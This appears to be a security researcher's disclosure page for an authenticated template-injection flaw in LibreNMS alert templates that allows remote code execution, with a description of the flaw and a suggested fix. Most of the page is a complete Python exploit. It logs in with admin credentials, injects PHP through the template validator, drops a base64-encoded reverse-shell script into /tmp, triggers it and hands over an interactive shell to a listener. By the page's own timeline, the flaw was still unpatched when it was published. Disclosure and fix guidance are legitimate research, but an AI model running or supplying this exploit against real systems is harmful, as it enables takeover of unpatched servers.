Grandmaster rank emblem

Lvl 99

Level XP3,807/5,718

3807 of 5718
Grandmaster dreadnaught
Product
LibreNMS
Affected
1.51 – 26.9.1
Class
Authenticated SSTI → RCE

LibreNMS lets an admin define alert templates. Before saving one, it validates the template by rendering it with Laravel's Blade engine. Blade compiles a @php ... @endphp directive into the PHP it contains and runs it. The validation step therefore executes whatever the template holds. Any authenticated admin can run arbitrary code in the web-server process.

The flaw

includes/html/forms/alert-templates.inc.php & includes/html/api_functions.inc.php

Blade::render($vars['template'], $test_data);
Blade::render($vars['title'], $test_data);
Blade::render($vars['title_rec'], $test_data);

Blade::render() compiles the source and evaluates it. For a @php directive the compiler emits the body unchanged, so it runs during the check. The same three lines appear in includes/html/api_functions.inc.php, behind POST /api/v0/alert_templates.

Fix

compileString() turns Blade source into PHP text and returns it without running a @php body:

try {
    app('blade.compiler')->compileString($vars['template']);
    app('blade.compiler')->compileString($vars['title']);
    app('blade.compiler')->compileString($vars['title_rec']);
} catch (Exception $e) {
    return api_error(400, 'Template failed to parse: ' . $e->getMessage());
}

Both the web form and the API need the change. Patching one leaves the other reachable.

PoC

The script logs in, writes a reverse shell to disk through the template validator, then triggers it. It affects 1.51 through latest; the API path works from 26.3.0 onward.

#!/usr/bin/env python3
"""
LibreNMS SSTI → RCE via Blade Alert Templates

Exploits unsanitized Blade::render() in alert template creation.
The @php directive in user-supplied templates is compiled and executed
immediately during template validation.

Affected: LibreNMS 1.51 (April 2019) through latest (26.9.1)
Requires: Admin credentials
Endpoint: Web UI form (all versions) or API (26.3.0+)

Usage:
    python3 poc_librenms_ssti_rce.py <target_url> <user> <pass> <lhost> <lport>
"""

import argparse
import base64
import http.cookiejar
import re
import socket
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request


class LibreNMSSession:
    """Authenticated web session for LibreNMS."""

    def __init__(self, target):
        self.base = target.rstrip("/")
        self.cj = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(self.cj),
            urllib.request.HTTPRedirectHandler(),
        )
        self.csrf = None

    def login(self, username, password):
        resp = self.opener.open(f"{self.base}/login", timeout=10)
        html = resp.read().decode()
        m = re.search(r'name="_token"[^>]*value="([^"]+)"', html)
        if not m:
            return False, "Could not find CSRF token on login page"
        csrf = m.group(1)

        data = urllib.parse.urlencode({
            "_token": csrf,
            "username": username,
            "password": password,
        }).encode()
        resp = self.opener.open(
            urllib.request.Request(f"{self.base}/login", data=data), timeout=10
        )
        html = resp.read().decode()

        if "login" in resp.url and "username" in html:
            return False, "Login failed — check credentials"

        m = re.search(r'name="csrf-token" content="([^"]+)"', html)
        if not m:
            m = re.search(r'name="_token"[^>]*value="([^"]+)"', html)
        if m:
            self.csrf = m.group(1)

        return True, "OK"

    def inject(self, php_code):
        template = f"@php {php_code} @endphp"
        data = urllib.parse.urlencode({
            "_token": self.csrf,
            "type": "alert-templates",
            "template": template,
            "name": f"t_{int(time.time())}",
            "template_id": "",
            "title": "Normal",
            "title_rec": "Normal",
        }).encode()
        try:
            resp = self.opener.open(
                urllib.request.Request(f"{self.base}/ajax_form.php", data=data),
                timeout=30,
            )
            return True, resp.read().decode()[:200]
        except Exception as e:
            return False, str(e)


def revshell(session, lhost, lport):
    print("[*] Stage 1: Writing reverse shell to target...")
    rs_script = (
        f"import socket,subprocess,os\n"
        f"s=socket.socket()\n"
        f"s.connect((\"{lhost}\",{lport}))\n"
        f"os.dup2(s.fileno(),0)\n"
        f"os.dup2(s.fileno(),1)\n"
        f"os.dup2(s.fileno(),2)\n"
        f"subprocess.run([\"/bin/bash\",\"-i\"])"
    )
    launcher = "#!/bin/bash\nnohup python3 /tmp/rs.py &\ndisown\n"

    write_code = (
        f"file_put_contents('/tmp/rs.py', base64_decode('{base64.b64encode(rs_script.encode()).decode()}')); "
        f"file_put_contents('/tmp/launch.sh', base64_decode('{base64.b64encode(launcher.encode()).decode()}')); "
        f"chmod('/tmp/launch.sh', 0755);"
    )

    ok, msg = session.inject(write_code)
    if not ok:
        print(f"[-] Stage 1 failed: {msg}")
        return False
    print("[+] Stage 1 complete")

    print(f"[*] Stage 2: Listener on 0.0.0.0:{lport}, triggering shell...")

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        server.bind(("0.0.0.0", lport))
    except OSError as e:
        print(f"[-] Cannot bind to port {lport}: {e}")
        return False

    server.listen(1)
    server.settimeout(15)

    def trigger():
        time.sleep(1)
        session.inject('system("bash /tmp/launch.sh");')

    t = threading.Thread(target=trigger)
    t.start()

    try:
        conn, addr = server.accept()
        print(f"[+] Shell connected from {addr[0]}:{addr[1]}")
        conn.settimeout(3)
        time.sleep(1)
        try:
            conn.recv(4096)
        except socket.timeout:
            pass
        for cmd in ["id", "hostname"]:
            conn.sendall((cmd + "\n").encode())
            time.sleep(1)
            try:
                out = conn.recv(4096).decode().strip()
                for line in out.split("\n"):
                    line = line.strip()
                    if line and "$" not in line[:5]:
                        print(f"    {line}")
            except socket.timeout:
                pass

        print()
        print("[+] Reverse shell established. Dropping to interactive mode.")
        print("[*] Type 'exit' to quit.\n")

        conn.settimeout(1)
        try:
            while True:
                try:
                    data = conn.recv(4096)
                    if data:
                        sys.stdout.write(data.decode(errors="replace"))
                        sys.stdout.flush()
                except socket.timeout:
                    pass

                try:
                    cmd = input()
                    if cmd.strip().lower() == "exit":
                        conn.sendall(b"exit\n")
                        break
                    conn.sendall((cmd + "\n").encode())
                    time.sleep(0.5)
                    try:
                        data = conn.recv(4096)
                        if data:
                            sys.stdout.write(data.decode(errors="replace"))
                            sys.stdout.flush()
                    except socket.timeout:
                        pass
                except EOFError:
                    break
        except KeyboardInterrupt:
            pass
        finally:
            conn.close()
            print("\n[*] Shell closed.")

    except socket.timeout:
        print("[-] No connection received.")
        return False
    finally:
        server.close()
        t.join(timeout=5)

    return True


def main():
    parser = argparse.ArgumentParser(
        description="LibreNMS SSTI RCE via Blade alert templates",
    )
    parser.add_argument("target", help="Target LibreNMS URL")
    parser.add_argument("username", help="Admin username")
    parser.add_argument("password", help="Admin password")
    parser.add_argument("lhost", help="Listener IP for reverse shell")
    parser.add_argument("lport", type=int, help="Listener port for reverse shell")
    args = parser.parse_args()

    print("LibreNMS SSTI RCE — Blade::render() alert template injection")
    print(f"Target: {args.target}")
    print()

    print(f"[*] Logging in as {args.username}...")
    session = LibreNMSSession(args.target)
    ok, msg = session.login(args.username, args.password)
    if not ok:
        print(f"[-] {msg}")
        return 1
    print("[+] Logged in")
    print()

    return 0 if revshell(session, args.lhost, args.lport) else 1


if __name__ == "__main__":
    sys.exit(main())

Timeline

  1. Reported to LibreNMS.

  2. Maintainers reply that the issue was already reported.

  3. Verified unpatched on the current release (26.9.1, image `e776d0fd50ef`).

  4. Published.

Recent

  1. Chartbrew chart-test RCE
    • Research
  2. Chartbrew dataset RCE
    • Research
  3. Chartbrew connection IDOR
    • Research
  4. LG webOS DMA-buf root
    • Research
  5. rsyslog TAG emulation stack leak
    • Research
  6. VariaType
    • CTF
    • Medium
  7. CCTV
    • CTF
    • Easy
  8. Pirate
    • CTF
    • Hard